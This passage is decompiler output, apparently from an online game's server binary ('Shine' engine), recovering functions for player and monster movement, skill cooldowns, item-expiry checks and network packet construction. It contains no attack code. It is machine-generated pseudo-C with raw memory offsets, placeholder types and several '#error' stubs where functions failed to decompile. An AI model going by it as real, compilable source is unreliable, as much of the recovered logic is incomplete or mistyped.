ShineObjectClass::ShineMob::so_GetTargetInfo(int this, int a2) { int v2; // esi@1 int result; // eax@1 v2 = this; result = (*(int (**)(void))(**(_DWORD **)(this + 8412) + 12))(); if ( result == a2 ) result = (*(int (__thiscall **)(int, int, signed int))(*(_DWORD *)v2 + 2464))(v2, a2, 1); return result; } //----- (00501AD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_BanByServerDisconnect(int this, int lst, __int16 handle) { int v3; // esi@1 unsigned int v4; // eax@1 char *v5; // eax@1 char *v6; // ST04_4@1 DebugLogging *v7; // eax@1 DebugLogging *v8; // eax@1 v3 = this; v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)(this + 32062); *((_DWORD *)v5 + 1) = *(_DWORD *)(this + 32066); *((_DWORD *)v5 + 2) = *(_DWORD *)(this + 32070); v6 = v5; *((_DWORD *)v5 + 3) = *(_DWORD *)(this + 32074); v5[16] = 0; v7 = DebugLogging::operator<<(&MoreDisconnectLog, "Char so_ply_BanByServerDisconnect "); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v3 + 1468))(v3, 0); return 1; } //----- (00501B50) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceRun(int this, int xy, __int16 com, int flag) { int v4; // esi@1 char *v5; // eax@1 DebugLogging *v6; // esi@2 _iobuf *v7; // eax@4 DebugLogging *v8; // esi@6 _iobuf *v9; // eax@8 DebugLogging *v10; // esi@10 _iobuf *v11; // eax@12 DebugLogging *v12; // esi@14 _iobuf *v13; // eax@16 DebugLogging *v14; // esi@18 _iobuf *v15; // eax@20 int v16; // eax@25 int v17; // [sp+Ch] [bp-4h]@1 v4 = this; v17 = this; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = com & 0x3FF | 0x2000; *(_DWORD *)(v5 + 2) = *(_DWORD *)xy; *(_DWORD *)(v5 + 6) = *(_DWORD *)(xy + 4); if ( (**(_DWORD **)(this + 78) - *(_DWORD *)xy) * (**(_DWORD **)(this + 78) - *(_DWORD *)xy) + (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - *(_DWORD *)(xy + 4)) * (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - *(_DWORD *)(xy + 4)) > 1000000 ) { v6 = DebugLogging::operator<<(&ReinforceMoveLog, (char *)&argument); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&stru_59CBB8); if ( DebugLogging::dl_ActivAll ) { if ( v8->dl_Activ ) { DebugLogging::dl_FilePoint(v8); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } v10 = DebugLogging::operator<<(v8, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } } v12 = DebugLogging::operator<<(v10, " => "); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } v14 = DebugLogging::operator<<(v12, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v14->dl_Activ ) { DebugLogging::dl_FilePoint(v14); v15 = v14->dl_FilePointer; if ( v15 ) fprintf(v15, "%d"); } } DebugLogging::operator<<(v14, &deb_LF); v4 = v17; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v16 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v16 + 12))(v16, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::smo_ply_ReinforceRun : Packet Too Long", 10); } } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00501D60) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsInFear(int this) { return (*(_BYTE *)(this + 7416) >> 2) & 1; } //----- (00501D70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineDropItem::so_relink(ShineObjectClass::ShineDoor *this, int flag) { ShineObjectClass::ShineDoor *v2; // eax@1 int v3; // ecx@1 v2 = this; v3 = *(_DWORD *)&this->gap0[98]; if ( v3 ) FieldMap::fm_MoveCenter(v3, *(_DWORD *)&v2->gap0[78]); } //----- (00501D90) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_relink(void *this, int flag) { void *v2; // esi@1 int result; // eax@1 int v4; // ecx@1 char buf[62]; // [sp+4h] [bp-44h]@1 v2 = this; result = sprintf(buf, "%p/%p"); v4 = *(_DWORD *)((char *)v2 + 98); if ( v4 ) result = FieldMap::fm_MoveCenter(v4, *(_DWORD *)((char *)v2 + 78)); return result; } //----- (00501DE0) -------------------------------------------------------- #error "501DE0: undefined or illegal type '#331' (funcsize=113)" //----- (00501FA0) -------------------------------------------------------- #error "501FA0: undefined or illegal type '#331' (funcsize=30)" //----- (00501FF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet(void *this, __int16 mob) { void *v2; // ebx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v2 + 5380, ¶meter_eraser_plus, 0xC4u); memcpy((char *)v2 + 5576, ¶meter_eraser_rate, 0xC4u); *((_DWORD *)v2 + 1426) = 0; *((_DWORD *)v2 + 1427) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_WeaponTitleSet"); } //----- (00502080) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponTitleOption(void *this, unsigned __int8 reference, unsigned __int16 type, int value) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( reference ) { if ( reference == 1 ) { if ( type == 1 ) *((_DWORD *)v4 + 1426) += value; else AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption : Invalid type in WEAPON_TITLE_DATA::ABSTATE", type); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption : Invalid reference", reference); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_WeaponTitleOption"); } //----- (00502160) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineEffectObject::so_Routine(ShineObjectClass::ShineEffectObject *this, List *lst, unsigned __int16 handle) { int v3; // esi@1 int v4; // eax@1 int v5; // ecx@2 unsigned int v6; // eax@5 int v7; // edi@6 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineEffectObject::so_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)(v3 + 98); if ( v4 ) { v5 = *(_DWORD *)(v3 + 78); if ( *(_DWORD *)v5 >= *(_DWORD *)(v4 + 24) || *(_DWORD *)(v5 + 4) >= *(_DWORD *)(v4 + 28) ) { AssertClass::ac_AssertFail(&shineassert, "fm_IsInFieldSize : Effect", 0); *(_DWORD *)(v3 + 172) = 0; } } v6 = *(_DWORD *)(v3 + 201); if ( clockwatch.cw_CurrTick > v6 ) { *(_DWORD *)(v3 + 201) = v6 + *(_DWORD *)(v3 + 205); v7 = *(_DWORD *)(v3 + 197); if ( v7 ) { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v3, *(_DWORD *)(v3 + 197)) > 0x64 ) ShineObjectClass::ShineObject::so_MoveTo(v3, **(_DWORD **)(v7 + 78), *(_DWORD *)(*(_DWORD *)(v7 + 78) + 4), 5); } } if ( clockwatch.cw_CurrTick >= *(_DWORD *)(v3 + 172) ) { (*(void (__thiscall **)(int, _DWORD, signed int, signed int))(*(_DWORD *)v3 + 828))(v3, 0, 1, 3); ShineObjectManager::som_FreeObject(&shineobjmanager, *(_WORD *)(v3 + 4), 0, 5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineEffectObject::so_Routine"); return 1; } // 438B20: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MoveTo(_DWORD, _DWORD, _DWORD, _DWORD); //----- (005022A0) -------------------------------------------------------- #error "5022A0: undefined or illegal type '#331' (funcsize=85)" //----- (005023E0) -------------------------------------------------------- #error "5023E0: undefined or illegal type '#331' (funcsize=653)" //----- (00502CF0) -------------------------------------------------------- #error "502CF0: undefined or illegal type '#331' (funcsize=56)" //----- (00502DE0) -------------------------------------------------------- #error "502DE0: undefined or illegal type '#331' (funcsize=147)" //----- (00502FC0) -------------------------------------------------------- #error "502FC0: undefined or illegal type '#748' (funcsize=186)" //----- (00503250) -------------------------------------------------------- #error "503250: undefined or illegal type '#748' (funcsize=129)" //----- (00503430) -------------------------------------------------------- #error "503430: undefined or illegal type '#331' (funcsize=78)" //----- (00503550) -------------------------------------------------------- #error "503550: undefined or illegal type '#331' (funcsize=77)" //----- (00503680) -------------------------------------------------------- #error "503680: undefined or illegal type '#331' (funcsize=34)" //----- (00503720) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_GetTargetInfo(void *ply, int a2) { void *v2; // esi@1 int v3; // eax@1 v2 = ply; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetTargetInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_GetTargetInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 8045); if ( !v3 ) v3 = *((_DWORD *)v2 + 8046); if ( v3 == a2 ) TargetObject::to_SendInform((TargetObject *)((char *)v2 + 32172), (#440 *)v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetTargetInfo"); } //----- (005037D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_RescueRoutine(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@3 unsigned __int16 v3; // di@3 #331 *v4; // ebx@5 char v5; // al@8 char *v6; // [sp-4h] [bp-24h]@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_RescueRoutine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_RescueRoutine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (**)(void))(**((_DWORD **)v1 + 2217) + 1136))() == 2 ) { v2 = (*(int (**)(void))(**((_DWORD **)v1 + 2217) + 1788))(); v3 = v2; if ( v2 == -1 ) { *((_DWORD *)v1 + 2217) = 0; *((_DWORD *)v1 + 2218) = 60000; } else { v4 = ShineObjectManager::som_GetObject(&shineobjmanager, v2); if ( v4 != 0 ) { if ( *((_DWORD *)v1 + 2218) > (unsigned int)(*(int (**)(void))(**((_DWORD **)v1 + 2217) + 1236))() ) { (*(void (__thiscall **)(void *, #331 *, signed int))(*(_DWORD *)v1 + 1708))(v1, v4, 1); *((_DWORD *)v1 + 2218) = (*(int (**)(void))(**((_DWORD **)v1 + 2217) + 1236))(); v5 = *((_BYTE *)v1 + 8864); if ( !(v5 & 4) ) { if ( v5 & 2 ) MobChat::MobChatManager::mcm_HelpAckChat(&mobchatman); else MobChat::MobChatManager::mcm_DetectBattleChat(&mobchatman); *((_BYTE *)v1 + 8864) |= 4u; } } } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::so_RescueRoutine : Null target", v3); *((_DWORD *)v1 + 2217) = 0; *((_DWORD *)v1 + 2218) = 60000; } } v6 = "ShineObjectClass::ShineMob::so_RescueRoutine"; } else { *((_DWORD *)v1 + 2217) = 0; *((_DWORD *)v1 + 2218) = 60000; v6 = "ShineObjectClass::ShineMob::so_RescueRoutine"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); } //----- (00503950) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::SkillCastStruct::scs_Clear(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::SkillCastStruct::scs_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::SkillCastStruct::scs_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v1 = 0; *((_DWORD *)v1 + 2) = 0; *((_DWORD *)v1 + 4) = 0; *((_DWORD *)v1 + 3) = 0; *((_DWORD *)v1 + 5) = 0; *((_DWORD *)v1 + 6) = 0; *((_DWORD *)v1 + 8) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::SkillCastStruct::scs_Clear"); } //----- (005039C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime(void *this, __int16 skl, int sec) { void *v3; // esi@1 char *v4; // eax@1 int v5; // eax@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18465; *((_DWORD *)v4 + 1) = sec; *((_WORD *)v4 + 1) = skl; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v5 + 12))(v5, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime : Packet Too Long", 8); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_NewSkillCoolTime"); } //----- (00503AB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_RunInFear(void *this) { void *v1; // ebx@1 bool v2; // zf@1 unsigned int v3; // eax@5 __int64 v4; // qax@5 int v5; // esi@5 signed int v6; // edx@5 int v7; // edi@5 int v8; // eax@5 int v9; // ecx@5 char *v10; // [sp-4h] [bp-30h]@4 int locate; // [sp+10h] [bp-1Ch]@5 int v12; // [sp+14h] [bp-18h]@5 SHINE_XY_TYPE xy; // [sp+18h] [bp-14h]@5 int v14; // [sp+28h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_RunInFear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_RunInFear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 3588) == 29203; v14 = 0; if ( !v2 ) *((_DWORD *)v1 + 1793) = 0; if ( *((_DWORD *)v1 + 43) <= 0u ) { v3 = rndbox.rb_box[64].rs_point.mask & (rndbox.rb_box[64].rs_point.value + 1); rndbox.rb_box[64].rs_point.value = v3; v4 = 180 * rndbox.rb_box[64].rs_slot[v3]; v5 = ((BYTE4(v4) & 0x3F) + (signed int)v4) >> 6; v6 = (signed int)((unsigned __int64)(1717986919i64 * 3200 * ShineRadian::sr_sin1024(&shineradian, v5) / 1024) >> 32) >> 2; v7 = v6 + ((unsigned int)v6 >> 31); v8 = ShineRadian::sr_cos1024(&shineradian, v5); v9 = *(_DWORD *)((char *)v1 + 78); locate = v7 + *(_DWORD *)v9; v12 = 3200 * v8 / 1024 / 10 + *(_DWORD *)(v9 + 4); if ( ShineObjectClass::ShineObject::so_FindBlockLocate( v1, (int)&locate, 450, (int)&xy, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsMoveBlock) ) (*(void (__thiscall **)(void *, SHINE_XY_TYPE *, signed int, signed int, signed int, signed int))(*(_DWORD *)v1 + 1420))( v1, &xy, 26, 73, 2, 2); v10 = "ShineObjectClass::ShineMobileObject::smo_RunInFear"; } else { MoveManager::mm_Step((MoveManager *)((char *)v1 + 140), 0); v10 = "ShineObjectClass::ShineMobileObject::smo_RunInFear"; } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); } //----- (00503C40) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_MoveByServer(void *this, int xy, __int16 someone, int me, int mm, int flag) { void *v6; // edi@1 int v7; // edx@1 unsigned __int16 v8; // ax@2 char *v9; // esi@4 int v10; // eax@4 int v11; // ecx@4 __int16 v12; // ax@5 int v13; // ST04_4@7 int v14; // eax@7 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@7 int v16; // [sp+28h] [bp-4h]@1 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_MoveByServer"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_MoveByServer"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = *(_DWORD *)v6; v16 = 0; (*(void (__thiscall **)(void *))(v7 + 2684))(v6); if ( mm == 2 ) v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1284))(v6); else v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1280))(v6); (*(void (__thiscall **)(void *, int, _DWORD, int, _DWORD))(*(_DWORD *)v6 + 1560))(v6, xy, v8, mm, 0); v9 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = someone & 0x3FF | 0x2000; *(_WORD *)v9 = *((_WORD *)v6 + 2); v10 = *(_DWORD *)((char *)v6 + 78); *(_DWORD *)(v9 + 2) = *(_DWORD *)v10; *(_DWORD *)(v9 + 6) = *(_DWORD *)(v10 + 4); *(_DWORD *)(v9 + 10) = *(_DWORD *)xy; v11 = *(_DWORD *)(xy + 4); v9[20] &= 0xFEu; *(_DWORD *)(v9 + 14) = v11; if ( mm == 2 ) v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1284))(v6); else v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 1280))(v6); *((_WORD *)v9 + 9) = v12; *((_WORD *)v6 + 51) = me; *((_DWORD *)v6 + 26) = *(_DWORD *)v9; *((_DWORD *)v6 + 27) = *((_DWORD *)v9 + 1); *((_DWORD *)v6 + 28) = *((_DWORD *)v9 + 2); *((_DWORD *)v6 + 29) = *((_DWORD *)v9 + 3); *((_DWORD *)v6 + 30) = *((_DWORD *)v9 + 4); *((_WORD *)v6 + 62) = *((_WORD *)v9 + 10); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 24); v13 = *(_DWORD *)((char *)v6 + 78); LOBYTE(v16) = 1; v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v6, v14, v13, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); (*(void (__thiscall **)(void *, int, int, int))(*(_DWORD *)v6 + 2656))(v6, xy, me, flag); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_MoveByServer"); } //----- (00503E00) -------------------------------------------------------- ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck(ShineObjectClass::ShinePlayer::TimeScheduler *this, #440 *sp) { ShineObjectClass::ShinePlayer::TimeScheduler *v2; // esi@1 ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType v3; // esi@2 ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *v4)(#440 *); // eax@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( clockwatch.cw_CurrTick >= v2->ts_Limit ) { v4 = v2->ts_CallFunc; v2->ts_Limit = 0; v2->ts_CurWork = 0; v2->ts_CallFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#440 *))ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; v2->ts_TimerFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(ShineObjectClass::ShinePlayer::TimeScheduler *, #440 *))ShineObjectClass::ShineObject::so_mh_PortalOpen; v3 = (int)v4(sp); } else { v3 = v2->ts_DefaultReturn; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::TimeScheduler::ts_TimerCheck"); return v3; } //----- (00503EC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::TimeScheduler(ShineObjectClass::ShinePlayer::TimeScheduler *this) { this->ts_Limit = 0; this->ts_CallFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#440 *))ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; this->ts_TimerFunc = (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(ShineObjectClass::ShinePlayer::TimeScheduler *, #440 *))ShineObjectClass::ShineObject::so_mh_PortalOpen; this->ts_CurWork = 0; } //----- (00503EE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SmallItemActivCheck(void *this, int a2, __int16 a3) { int v3; // edi@1 int v4; // esi@1 int v5; // eax@1 int v6; // eax@3 ItemInform_ActionItem *v7; // ebp@3 ItemAttributeClassContainer *v8; // ebx@4 ShineDateTime *v9; // eax@7 unsigned __int16 v10; // ax@9 CIDEB_Element *v11; // eax@9 ChargedItemEffect *v12; // eax@10 unsigned __int16 v13; // ax@11 int v14; // eax@13 int v15; // ecx@13 int v16; // esi@14 int v17; // eax@14 char *v18; // esi@14 int v19; // eax@14 int v20; // eax@14 char v21; // al@14 ZoneBaseSession *v22; // eax@15 int (__thiscall **v23)(_DWORD, _DWORD); // eax@17 int v24; // eax@17 char flag[4]; // [sp+28h] [bp-B4h]@1 int v26; // [sp+2Ch] [bp-B0h]@1 int v27; // [sp+30h] [bp-ACh]@7 int v28; // [sp+34h] [bp-A8h]@1 struct tm tb; // [sp+38h] [bp-A4h]@13 ItemTotalInformation iti; // [sp+5Ch] [bp-80h]@14 unsigned int v31; // [sp+CCh] [bp-10h]@18 int v32; // [sp+D8h] [bp-4h]@1 v3 = (int)this; v26 = (int)this; v28 = (int)"ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = a2; v5 = *(_DWORD *)a2; v32 = 0; *(_WORD *)flag = a3 << 10; if ( (*(int (__thiscall **)(int))(v5 + 8))(a2) > 0 ) { do { if ( !(unsigned __int8)(*(int (__thiscall **)(int, char *))(*(_DWORD *)(v3 + 57768) + 8))(v3 + 57768, flag) ) { v6 = (**(int (__thiscall ***)(_DWORD, _DWORD))v4)(v4, *(_WORD *)flag & 0x3FF); v7 = (ItemInform_ActionItem *)v6; if ( v6 ) { v8 = *(ItemAttributeClassContainer **)(v6 + 16); if ( !v8 ) v8 = &itmattcontainer; if ( ItemInventoryCell::iic_ItemIdent((ItemInform_ActionItem *)v6) != -1 ) { v9 = ItemInform_ActionItem::sii_GetDeteleDateTime(v7); v27 = (int)v9; if ( v9 ) { if ( !LOBYTE(v9->_bf0) ) { v10 = ItemInventoryCell::iic_ItemIdent(v7); v11 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, v10); if ( v11 ) { v12 = v11->ce_Data; if ( v12 ) { v13 = v12->KeepTime_Hour; if ( v13 ) { memcpy((void *)&tb, &stru_7BC0CC, sizeof(tb)); tb.tm_hour = v13 + (((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); mktime(&tb); v14 = v27; v15 = tb.tm_min; *(_BYTE *)v27 = LOBYTE(tb.tm_year) - 100; v3 = v26; *(_DWORD *)v14 = *(_DWORD *)v14 & 0xFF | ((LOWORD(tb.tm_mon) + 1) << 8) & 0x1F00 | ((tb.tm_mday & 0x3F | ((tb.tm_hour & 0x3F | (v15 << 6)) << 6)) << 13); } else { *(_DWORD *)v27 = 1992027391; } MoveManager::MoveManager((DiceTaiSai *)v7); MoveManager::MoveManager((DiceTaiSai *)v7); ItemInventoryCell::iic_ItemIdent(v7); ItemInform_ActionItem::sii_Export(v7, &iti); v16 = *(_DWORD *)(v3 + 57768); LOWORD(v17) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v3 + 57768); (*(void (__thiscall **)(int, int, char *, ItemTotalInformation *))(v16 + 52))( v3 + 57768, v17, flag, &iti); v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13385; *((_WORD *)v18 + 1) = *(_WORD *)(v3 + 4); *((_DWORD *)v18 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v18 + 4) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v3 + 57768); *(_DWORD *)(v18 + 10) = tb.tm_yday; *(_DWORD *)(v18 + 14) = tb.tm_isdst; *((_WORD *)v18 + 9) = *(_WORD *)&iti; memcpy(v18 + 20, &iti.iti_registnum.binary.gap0[2], 0x64u); v18[120] = HIBYTE(iti.iti_itemstruct.itemattr.binditem.portal[9].mapid); v8->iacc_default.vfptr->iac_GetAttrSize( (ItemAttributeClass *)v8, (SHINE_ITEM_ATTRIBUTE *)&iti.iti_registnum.binary.gap0[2]); v19 = v8->iacc_default.vfptr->iac_GetAttrSize( (ItemAttributeClass *)v8, (SHINE_ITEM_ATTRIBUTE *)&iti.iti_registnum.binary.gap0[2]); v20 = ((int (__thiscall *)(ItemAttributeClassContainer *, _BYTE *, _DWORD, int))v8->iacc_default.vfptr->iac_GetAttrSize)( v8, &iti.iti_registnum.binary.gap0[2], "ShineObjectClass::ShinePlayer::sp_MiniHouseActCheck : Packet Too Long", v19 + 20); v21 = ProtocolPacket::pp_SetPacketLen(&gpp, v20 + 20); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v21, flag, (int)flag) ) { v22 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v22); } InventoryLocking::InventoryCellLock::icl_IncIndex((InventoryLocking::InventoryCellLock *)(v26 + 57768)); v4 = a2; v3 = v26; } } } } } } } v23 = *(int (__thiscall ***)(_DWORD, _DWORD))v4; *(_WORD *)flag ^= (*(_WORD *)flag ^ (*(_WORD *)flag + 1)) & 0x3FF; v24 = ((int (__thiscall *)(int))v23[2])(v4); } while ( (*(_WORD *)flag & 0x3FF) < v24 ); } --funcallanalizer.fca_stackpoint; v32 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ActionItemActivCheck"); __security_check_cookie(v31); } //----- (00504240) -------------------------------------------------------- void __thiscall 